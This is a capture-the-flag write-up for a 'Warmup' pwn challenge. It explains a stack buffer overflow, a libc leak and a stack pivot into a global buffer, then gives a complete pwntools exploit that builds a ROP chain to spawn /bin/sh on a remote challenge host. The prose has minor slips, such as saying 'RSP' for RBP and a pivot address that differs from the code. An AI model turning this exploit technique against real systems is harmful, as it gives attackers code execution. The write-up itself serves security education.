Warmup (pwn)

Here's something to get you warmed up, spin that gdb up.

Using the dockerfile, I built the image and ran it. I then extracted the libc.so.6 and ld-linux-x86-64.so.2 binaries.

The given binary file has the following protections:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The decompiled main function is as follows:

undefined8 main(void)
{
  char local_48 [64];
  helper();
  printf("%p\n",puts);
  printf("name>> ");
  fgets(name,0x200,stdin);
  printf("alright>> ");
  fgets(local_48,88,stdin);
  puts("okey");
  return 0;
}

We are given a libc leak via the address of puts. Then, we are prompted to enter an input into a global variable name. name is 512 bytes long, and we can only enter 512 bytes into it. Afterwards, we can enter 88 bytes into local_48, which is a local variable (located in the stack) and can only fit 64 bytes.

After the first 64 bytes we enter for the second input, the next 8 bytes overwrite RSP, the next 8 bytes overwrite RIP, and the next 8 bytes could potentially be used for an ROP chain.

Since there is no win function, we cannot simply overwriteRIP with the address of a function in the binary and hope to get a shell. The only way to get a shell is by using gadgets provided by the binary and libc.

Also note that the memory allocated for our name global variable is always fixed. As such, memory region 0x404000-0x405000 will always have RW permissions.

Therefore, if we were to pivot from the stack in our second input to this larger region, we would have much more space for our ROP chain. To do so, in our second input we can overwrite RBP to become 0x404000, and in the next 8 bytes we can insert a leave ; ret gadget.

We then add our payload into the name global variable, which is the first input. The first 8 bytes don't matter since our stack pivoting causes the first 8 bytes in name to be skipped. I then add an ROP chain to call execve('/bin/sh').

from pwn import *
# fill in binary name
elf = context.binary = ELF("./warmup")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

if args.REMOTE:
  # fill in remote address
  p = remote("172.210.129.230", 1338)
else:
  p = process([ld.path, elf.path], env = {"LD_PRELOAD": libc.path})


puts_addr = p.recvline()[:-1]
print(f"x: {puts_addr}")
puts_addr = int(puts_addr.decode(), 16)
print(f"puts_addr: {hex(puts_addr)}")

libc.address = puts_addr - libc.sym['puts']              # Set base address
print(f"libc addr: {hex(libc.address)}")

binsh = next(libc.search(b'/bin/sh'))  # grab string location
execve = libc.sym['execve']
POP_RDI =  libc.address + 0x10f75b
POP_RSI = libc.address + 0x110a4d
XOR_EDX_EDX = libc.address + 0x000000000016e953 # xor edx, edx ; mov rax, rdx ; ret

LEAVE_RET = 0x401280

payload1 = p64(0) 
payload1 += p64(POP_RDI)
payload1 += p64(binsh)
payload1 += p64(POP_RSI)
payload1 += p64(0)
payload1 += p64(XOR_EDX_EDX)
payload1 += p64(execve)

p.sendlineafter(b">> ", payload1)

payload2 = 64 * b'a'
payload2 += p64(0x404060) # overwrite RBP
# we can only insert two instructions max
payload2 += p64(LEAVE_RET) # overwrite RIP

# pause()
p.sendlineafter(b">> ", payload2)
p.interactive()
# AKASEC{1_Me44444N_J00_C0ULDve_ju57_574CK_p1V07ed}

Last updated